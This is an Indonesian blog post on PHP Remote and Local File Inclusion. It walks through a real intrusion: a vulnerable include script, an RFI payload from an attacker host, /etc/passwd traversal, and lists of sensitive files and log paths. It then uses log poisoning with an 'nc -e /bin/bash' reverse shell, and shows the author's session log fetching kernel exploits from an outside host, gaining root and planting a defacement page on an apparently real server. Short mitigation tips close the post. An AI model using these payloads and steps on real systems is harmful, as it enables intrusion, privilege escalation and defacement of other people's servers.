Remote dan Local File Inclusion Vulnerability


web-securitySalah satu bugs lawas di Aplikasi berbasis web yaitu “File Inclusion”. File Inclusion adalah cara menyisipkan potongan malicious code attacker ke dalam sebuah situs yang vulnerable, fungsi dalam php yang memperbolehkan penyisipan file php adalah include,include_once,require,require_once. Penyisipan sebuah malicious code bisa dilakukan secara remote atau mesin berbeda dengan server, bisa menggunakan protokol http:// https:// ftp:// smb:// atau biasa disebut “Remote File Inclusion”, jika sebuah penyisipan malicious code gagal mungkin setting allow_url_include berada dalam kondisi “Off” pada php.ini. Attacker yang sadar bahwa aksi penyusupan malicious code gagal selanjutnya ia mencoba teknik “Local File Inclusion” dimana penyisipan halaman berada dalam server yang sama.

Mungkin ada yang bertanya seberapa besarkah dampak yang dihasilkan dari File Inclusion?. Dampak dari File Inclusion bisa dikatakan “High Risk” karena File Inclusion bisa digunakan untuk mendapatkan akses shell, dan pada akhirnya dilakukan sebuah Local Exploitation untuk mendapatkan hak akses penuh terhadap sistem. Sebuah contoh skrip php yang rentan terhadap file inclusion secara sederhana seperti di bawah ini :

<?php
	$page = $_GET['page'];
	include($page);
?> 

Jika kode diatas kita eksekusi akan menghasilkan eror seperti ini :

Notice: Undefined index: page in /var/www/htdocs/page.php on line 2

Warning: include() [function.include]: Failed opening ” for inclusion (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3

Variabel page tidak terdeklarasi, jadi variabel page bisa kita manipulasi valuenya ke skrip si attacker. Contoh :

http://localhost/page.php?page=http://attacker/evil.txt%00

local file inclusion 1

Dimana evil.txt diatas berisi :

<?
echo "".passthru('uname -rv')."";
echo "<p>";
echo "".passthru('pwd')."";
echo "<p>";
echo "".passthru('id')."";
echo "<p>";
echo "".passthru('ls')."";
echo "<p>";
?>

bisa kita gunakan melihatkan kepada kita tentang informasi server yang menjadi target dan bisa kita tingkatkan ke yang lebih berbahaya, seperti mendapatkan shell. Jika aksi “Remote File Inclusion” seperti di atas hanya menghasilkan error seperti ini :

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/htdocs/page.php on line 3

Warning: include(http://uname.site88.net/sh2.txt) [function.include]: failed to open stream: no suitable wrapper could be found in /var/www/htdocs/page.php on line 3

Warning: include() [function.include]: Failed opening ‘http://uname.site88.net/sh2.txt&#8217; for inclusion (include_path=’.:/usr/lib/php’) in /var/www/htdocs/page.php on line 3

Warning diatas muncul dikarenakan seting “allow_url_include” berada dalam kondisi “Off” pada php.ini. Pada kondisi ini kita tidak bisa melakukan penyisipan kode secara terpisah dari server target (remote), lalu coba sisipkan kode secara local.

http://target/page.php?page=../../../../etc/passwd

Jika url di atas dibuka akan seperti ni :
local file inclusion 2

Pada akhir url biasa ditambahkan null byte atau %00 atau ?. Maksud dari ../ adalah naik satu direktori, contoh diatas kita di atas turun 4 direktori. Ingat pada saat anda turun satu direktori di shell dengan sintaks :

root@slacker:~/webresource/web archive# pwd
/root/webresource/web archive Lokasi direktori sekarang
root@slacker:~/webresource/web archive# cd ../cms/ Turun satu direktori dan masuk ke
root@slacker:~/webresource/cms# pwd direktori cms
/root/webresource/cms

Dan beberapa file sensitif lain di sebuah webserver :

/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc/security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

Dari bugs tersebut bisa kita manfaatkan untuk mengakses shell target (Remote Connect-Back Shell), dengan memanfaatkan request malicious code yang mengakibatkan 400 Bad Request dan tercatat di error_log webserver dan melakukan Connect Back yang terlebih dahulu kita buat statenya listen mode, untuk inbound connects. Lakukan telnet ke webserver target lewat port 80, dan buat request kode berikut (192.168.16.09 adalah ip anda):

GET/<? echo "".passthru('nc -e /bin/bash 292.138.16.109 42001').""; ?>

LFI5

Aksi anda dia atas akan dicatat di error_log webserver, dan tugas anda sekarang adalah mencari lokasi error log-nya, dibawah ini kemungkinan lokasi dari error_log berada, dan sesuaikan tingkatan direktori-nya juga :

../apache/logs/error.log
../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../etc/httpd/logs/acces_log
../../../../../../../etc/httpd/logs/acces.log
../../../../../../../etc/httpd/logs/error_log
../../../../../../../etc/httpd/logs/error.log
../../../../../../../var/www/logs/access_log
../../../../../../../var/www/logs/access.log
../../../../../../../usr/local/apache/logs/access_ log
../../../../../../../usr/local/apache/logs/access. log
../../../../../../../var/log/apache/access_log
../../../../../../../var/log/apache2/access_log
../../../../../../../var/log/apache/access.log
../../../../../../../var/log/apache2/access.log
../../../../../../../var/log/access_log
../../../../../../../var/log/access.log
../../../../../../../var/www/logs/error_log
../../../../../../../var/www/logs/error.log
../../../../../../../usr/local/apache/logs/error_l og
../../../../../../../usr/local/apache/logs/error.l og
../../../../../../../var/log/apache/error_log
../../../../../../../var/log/apache2/error_log
../../../../../../../var/log/apache/error.log
../../../../../../../var/log/apache2/error.log
../../../../../../../var/log/error_log
../../../../../../../var/log/error.log
../../../../../../../var/log/httpd/error_log
../../../../../../../var/log/httpd/error.log

kemungkinan lain file log diikuti juga dengan nama domainnya, seperti :

../../../../../../../var/log/httpd/namadomain.org-error_log
../../../../../../../var/log/httpd/namadomain.org-access_log

dengan menggunakan nc (netcat) kita buat koneksi inbound yang menunggu koneksi dari luar dengan perintah :

root@slacker:~# nc -l -v -p 42001

sekarang anda buka file log tersebut di url, seperti ini jadinya :

local file inclusion

Jika berhasil anda telah melakukan Remote Connect-Back Shell, coba lihat konsole anda yang menjalankan nc tadi, kita akan mendapatkan shell dari target dan kita bisa menjalankan berbagai perintah linux. Selanjutnya terserah anda, ingin melakukan deface, privilege excalation, atau pasang backdoor sok atuh,,,. Seperti yang saya lakukan di sebuah webserver, dan saya ilustrasikan di baris di bawah.

root@slacker:~# nc -v -n -l -p 42001
listening on [any] 42001 ...
connect to [292.138.16.109] from (UNKNOWN) [210.50.2.238] 45646
ls -la
total 3816
drwxrwxrwx 4 45234 uname 4096 Sep 21 03:04 ./
drwxrwxrwx 11 45234 uname 4096 Sep 21 02:19 ../
drwxrwxrwx 2 45234 uname 4096 Jul 22 14:12 OverLib/
-rw-rw-rw- 1 45234 uname 2236 Jun 3 07:26 _db_funcs.php
-rw-rw-rw- 1 45234 uname 1367 Sep 21 02:23 _error_funcs.php
-rw-rw-rw- 1 45234 uname 1368 Sep 21 02:23 _error_funcs.php~
-rw-rw-rw- 1 45234 uname 1483 Jul 22 03:38 _header.php
-rw-rw-rw- 1 45234 uname 1594 Jul 8 05:04 _html_head.php
-rw-rw-rw- 1 45234 uname 2479 Jul 8 05:04 _image_scaler.php
-rw-rw-rw- 1 45234 uname 4268 Jul 14 04:15 _integrity_funcs.php
-rw-rw-rw- 1 45234 uname 2077 Apr 11 05:49 _login.php
-rw-rw-rw- 1 45234 uname 326 Apr 2 00:01 _logout.php
-rw-rw-rw- 1 45234 uname 5529 Jul 5 07:15 _request.js
-rw-rw-rw- 1 45234 uname 8835 Jun 7 21:46 _template_component_admin.php
-rw-rw-rw- 1 45234 uname 1392 Jun 3 07:26 _template_component_footer.php
-rw-rw-rw- 1 45234 uname 11587 Jul 7 06:04 _template_component_gallery.php
-rw-rw-rw- 1 45234 uname 1383 Jul 17 05:17 _template_component_generic.php
-rw-rw-rw- 1 45234 uname 4987 Jul 5 17:34 _template_component_header.php
-rw-rw-rw- 1 45234 uname 4787 Jul 5 07:15 _template_component_image.php
-rw-rw-rw- 1 45234 uname 189 Apr 11 00:16 _template_component_login.php
-rw-rw-rw- 1 45234 uname 2436 Jul 22 14:12 _template_component_sitemap.php
-rw-rw-rw- 1 45234 uname 5513 Jun 3 07:26 _template_parser.php
-rw-rw-rw- 1 45234 uname 4094 Jul 5 17:34 common.js
-rw-rw-rw- 1 45234 uname 6769 Jul 22 14:12 common.php
-rw-rw-rw- 1 45234 uname 2424 Apr 11 05:49 id.php
-rw-rw-rw- 1 45234 uname 10350 Jul 17 05:17 mod_gallery.js
-rw-rw-rw- 1 45234 uname 7783 Jul 7 06:04 mod_gallery.php
-rw-rw-rw- 1 45234 uname 15286 Jul 11 03:39 mod_gallery_funcs.php
-rw-rw-rw- 1 45234 uname 9051 Jul 14 04:15 mod_image.js
-rw-rw-rw- 1 45234 uname 6751 Apr 11 22:08 mod_image.php
-rw-rw-rw- 1 45234 uname 9878 Jul 8 05:04 mod_image_funcs.php
-rw-rw-rw- 1 45234 uname 4337 Apr 11 22:08 mod_tag.php
-rw-rw-rw- 1 45234 uname 4239 Apr 11 05:49 mod_tag_funcs.php
-rw-rw-rw- 1 45234 uname 829 Apr 11 22:08 mod_tag_view.php
-rw-rw-rw- 1 45234 uname 17389 Jul 14 04:15 mod_taglist.js
-rw-rw-rw- 1 45234 uname 14331 Jul 8 05:42 mod_upgrade.js
-rw-rw-rw- 1 45234 uname 4228 Jul 8 05:04 mod_upgrade.php
-rw-rw-rw- 1 45234 uname 2785 Jul 12 23:41 mod_upgrade_funcs.php
-rw-rw-rw- 1 45234 uname 7290 Apr 11 22:08 mod_user.php
-rw-rw-rw- 1 45234 uname 5689 Apr 11 22:08 mod_user_funcs.php
-rw-rw-rw- 1 45234 uname 340 Apr 11 22:08 mod_user_view.php
-rw-rw-rw- 1 45234 uname 13852 Jul 6 01:02 mod_userlist.js
-rw-rw-rw- 1 45234 uname 554 Jul 14 05:30 page_admin.php
-rw-rw-rw- 1 45234 uname 649 Jul 14 05:30 page_admin_maintain.php
-rw-rw-rw- 1 45234 uname 3700 Jul 14 05:30 page_admin_maintain_image.php
-rw-rw-rw- 1 45234 uname 637 Jul 14 05:30 page_admin_orphans.php
-rw-rw-rw- 1 45234 uname 1755 Jul 14 05:30 page_admin_tags.php
-rw-rw-rw- 1 45234 uname 1816 Jul 14 05:30 page_admin_users.php
-rw-rw-rw- 1 45234 uname 2433 Jul 5 07:15 page_gallery_add.php
-rw-rw-rw- 1 45234 uname 2978 Jul 17 05:17 page_gallery_view.php
-rw-rw-rw- 1 45234 uname 1697 Jul 5 07:15 page_image_add.php
-rw-rw-rw- 1 45234 uname 2529 Jun 7 21:46 page_image_view.php
-rw-rw-rw- 1 45234 uname 736 Jul 5 07:15 page_image_view_full.php
-rw-rw-rw- 1 45234 uname 830 Jul 5 07:15 page_login.php
-rw-rw-rw- 1 45234 uname 391 Jul 5 07:15 page_main_view.php
-rw-rw-rw- 1 45234 uname 353 Jul 5 07:15 page_sitemap.php
-rw-rw-rw- 1 45234 uname 887 Jul 5 07:15 page_upgrade.php
-rw-rw-rw- 1 45234 uname 1587 Jan 30 2009 pngfix.js
id
uid=80(apache) gid=80(apache) groups=80(apache)
wget ftp://uname.site88.net/ring0.c
--2009-09-21 03:00:15-- ftp://292.138.16.109/ring0.c
=> `ring0.c'
Connecting to 292.138.16.109:21... connected.
Logging in as anonymous ... Logged in!
==> SYST ... done. ==> PWD ... done.
==> TYPE I ... done. ==> CWD not needed.
==> SIZE ring0.c ... 4290
==> PASV ... done. ==> RETR ring0.c ... done.
Length: 4290 (4.2K)

0K …. 100% 153M=0s

2009-09-21 03:00:16 (153 MB/s) – `ring0.c’ saved [4290]

ls
OverLib
_db_funcs.php
_error_funcs.php
_error_funcs.php~
_header.php
_html_head.php
_image_scaler.php
_integrity_funcs.php
_login.php
_logout.php
_request.js
_template_component_admin.php
_template_component_footer.php
_template_component_gallery.php
_template_component_generic.php
_template_component_header.php
_template_component_image.php
_template_component_login.php
_template_component_sitemap.php
_template_parser.php
common.js
common.php
id.php
mod_gallery.js
mod_gallery.php
mod_gallery_funcs.php
mod_image.js
mod_image.php
mod_image_funcs.php
mod_tag.php
mod_tag_funcs.php
mod_tag_view.php
mod_taglist.js
mod_upgrade.js
mod_upgrade.php
mod_upgrade_funcs.php
mod_user.php
mod_user_funcs.php
mod_user_view.php
mod_userlist.js
page_admin.php
page_admin_maintain.php
page_admin_maintain_image.php
page_admin_orphans.php
page_admin_tags.php
page_admin_users.php
page_gallery_add.php
page_gallery_view.php
page_image_add.php
page_image_view.php
page_image_view_full.php
page_login.php
page_main_view.php
page_sitemap.php
page_upgrade.php
pngfix.js
ring0.c
gcc ring0.c -o ring0
pwd
/var/www/htdocs/gallery/sources
./ring0
bash: line 8: 6030 Segmentation fault ./ring0
./ring0
bash: line 9: 6102 Segmentation fault ./ring0
id
uid=80(apache) gid=80(apache) groups=80(apache)
./ring0
bash: line 11: 6130 Segmentation fault ./ring0
./ring0
bash: line 12: 6160 Segmentation fault ./ring0
id
uid=80(apache) gid=80(apache) groups=80(apache)
wget ftp://uname.site88.net/wonderbar_emporium.tgz
–2009-09-21 03:03:24– ftp://292.138.16.109/wonderbar_emporium.tgz
=> `wonderbar_emporium.tgz’
Connecting to 292.138.16.109:21… connected.
Logging in as anonymous … Logged in!
==> SYST … done. ==> PWD … done.
==> TYPE I … done. ==> CWD not needed.
==> SIZE wonderbar_emporium.tgz … done.
==> PASV … done. ==> RETR wonderbar_emporium.tgz …
No such file `wonderbar_emporium.tgz’.

wget ftp://uname.site88.net/wunderbar_emporium.tgz
–2009-09-21 03:03:55– ftp://uname.site88.net/wunderbar_emporium.tgz
=> `wunderbar_emporium.tgz’
Connecting to 292.138.16.109:21… connected.
Logging in as anonymous … Logged in!
==> SYST … done. ==> PWD … done.
==> TYPE I … done. ==> CWD not needed.
==> SIZE wunderbar_emporium.tgz … 3491991
==> PASV … done. ==> RETR wunderbar_emporium.tgz … done.
Length: 3491991 (3.3M)

0K ………. ………. ………. ………. ………. 1% 53.9M 0s
50K ………. ………. ………. ………. ………. 2% 75.4M 0s
100K ………. ………. ………. ………. ………. 4% 86.7M 0s
150K ………. ………. ………. ………. ………. 5% 1.63M 1s
200K ………. ………. ………. ………. ………. 7% 181M 0s
250K ………. ………. ………. ………. ………. 8% 203M 0s
300K ………. ………. ………. ………. ………. 10% 206M 0s
350K ………. ………. ………. ………. ………. 11% 125M 0s
400K ………. ………. ………. ………. ………. 13% 97.0M 0s
450K ………. ………. ………. ………. ………. 14% 205M 0s
500K ………. ………. ………. ………. ………. 16% 213M 0s
550K ………. ………. ………. ………. ………. 17% 143M 0s
600K ………. ………. ………. ………. ………. 19% 117M 0s
650K ………. ………. ………. ………. ………. 20% 209M 0s
700K ………. ………. ………. ………. ………. 21% 210M 0s
750K ………. ………. ………. ………. ………. 23% 211M 0s
800K ………. ………. ………. ………. ………. 24% 111M 0s
850K ………. ………. ………. ………. ………. 26% 159M 0s
900K ………. ………. ………. ………. ………. 27% 139M 0s
950K ………. ………. ………. ………. ………. 29% 73.1M 0s
1000K ………. ………. ………. ………. ………. 30% 120M 0s
1050K ………. ………. ………. ………. ………. 32% 122M 0s
1100K ………. ………. ………. ………. ………. 33% 124M 0s
1150K ………. ………. ………. ………. ………. 35% 129M 0s
1200K ………. ………. ………. ………. ………. 36% 159M 0s
1250K ………. ………. ………. ………. ………. 38% 211M 0s
1300K ………. ………. ………. ………. ………. 39% 215M 0s
1350K ………. ………. ………. ………. ………. 41% 159M 0s
1400K ………. ………. ………. ………. ………. 42% 45.4M 0s
1450K ………. ………. ………. ………. ………. 43% 149M 0s
1500K ………. ………. ………. ………. ………. 45% 137M 0s
1550K ………. ………. ………. ………. ………. 46% 163M 0s
1600K ………. ………. ………. ………. ………. 48% 114M 0s
1650K ………. ………. ………. ………. ………. 49% 140M 0s
1700K ………. ………. ………. ………. ………. 51% 158M 0s
1750K ………. ………. ………. ………. ………. 52% 140M 0s
1800K ………. ………. ………. ………. ………. 54% 120M 0s
1850K ………. ………. ………. ………. ………. 55% 138M 0s
1900K ………. ………. ………. ………. ………. 57% 159M 0s
1950K ………. ………. ………. ………. ………. 58% 138M 0s
2000K ………. ………. ………. ………. ………. 60% 114M 0s
2050K ………. ………. ………. ………. ………. 61% 160M 0s
2100K ………. ………. ………. ………. ………. 63% 141M 0s
2150K ………. ………. ………. ………. ………. 64% 159M 0s
2200K ………. ………. ………. ………. ………. 65% 49.9M 0s
2250K ………. ………. ………. ………. ………. 67% 148M 0s
2300K ………. ………. ………. ………. ………. 68% 137M 0s
2350K ………. ………. ………. ………. ………. 70% 160M 0s
2400K ………. ………. ………. ………. ………. 71% 113M 0s
2450K ………. ………. ………. ………. ………. 73% 135M 0s
2500K ………. ………. ………. ………. ………. 74% 163M 0s
2550K ………. ………. ………. ………. ………. 76% 138M 0s
2600K ………. ………. ………. ………. ………. 77% 157M 0s
2650K ………. ………. ………. ………. ………. 79% 141M 0s
2700K ………. ………. ………. ………. ………. 80% 47.1M 0s
2750K ………. ………. ………. ………. ………. 82% 137M 0s
2800K ………. ………. ………. ………. ………. 83% 114M 0s
2850K ………. ………. ………. ………. ………. 85% 158M 0s
2900K ………. ………. ………. ………. ………. 86% 140M 0s
2950K ………. ………. ………. ………. ………. 87% 161M 0s
3000K ………. ………. ………. ………. ………. 89% 141M 0s
3050K ………. ………. ………. ………. ………. 90% 157M 0s
3100K ………. ………. ………. ………. ………. 92% 141M 0s
3150K ………. ………. ………. ………. ………. 93% 162M 0s
3200K ………. ………. ………. ………. ………. 95% 114M 0s
3250K ………. ………. ………. ………. ………. 96% 141M 0s
3300K ………. ………. ………. ………. ………. 98% 159M 0s
3350K ………. ………. ………. ………. ………. 99% 144M 0s
3400K ………. 100% 62.8M=0.06s

2009-09-21 03:03:55 (59.3 MB/s) – `wunderbar_emporium.tgz’ saved [3491991]

tar xvzf wunderbar_emporium.tgz
wunderbar_emporium/
wunderbar_emporium/pwnkernel.c
wunderbar_emporium/tzameti.avi
wunderbar_emporium/wunderbar_emporium.sh
wunderbar_emporium/exploit.c
cd wunderbar_emporium
pwd
/var/www/htdocs/gallery/sources/wunderbar_emporium
id
uid=80(apache) gid=80(apache) groups=80(apache)
./wunderbar_emporium.sh
sh: mplayer: command not found
sh: no job control in this shell
sh-3.1# id
uid=0(root) gid=0(root) groups=80(apache)
sh-3.1# pwd
/var/www/htdocs/gallery/sources/wunderbar_emporium
sh-3.1# cd ../../../../
sh-3.1# pwd
/var/www/htdocs
sh-3.1# wget 292.138.16.109/owning.html
–2009-09-21 03:08:52– http://292.138.16.109/owning.html
Connecting to 292.138.16.109:80… connected.
HTTP request sent, awaiting response… 200 OK
Length: 242 [text/html]
Saving to: `owning.html’

0K 100% 27.0M=0s

2009-09-21 03:08:52 (27.0 MB/s) – `owning.html’ saved [242/242]

sh-3.1#

deface

SOLUSI :

1. Gunakan Input Validation yang baik

2. Setting di PHP.INI
– Matikan error_log pada PHP
– Disable Fungsi passthru, exec dan system pada php
– allow_url_fopen = Off
– Safe_mode = On

3. Update Kernel

4. Matikan Komputer Anda, dan kubur dalam-dalam..

5. Update Otak anda,,

11 thoughts on “Remote dan Local File Inclusion Vulnerability

  1. 5. Update Otak anda,, << setelah tak baca semuanya trus baca yg nmr 5 ni….otakq ngmg.."wah mulai skrg harus bnyk bljr saya…
    demi ngupdate otak"..thankz boz…….

Tinggalkan Balasan

Isikan data di bawah atau klik salah satu ikon untuk log in:

Logo WordPress.com

You are commenting using your WordPress.com account. Logout / Ubah )

Gambar Twitter

You are commenting using your Twitter account. Logout / Ubah )

Foto Facebook

You are commenting using your Facebook account. Logout / Ubah )

Foto Google+

You are commenting using your Google+ account. Logout / Ubah )

Connecting to %s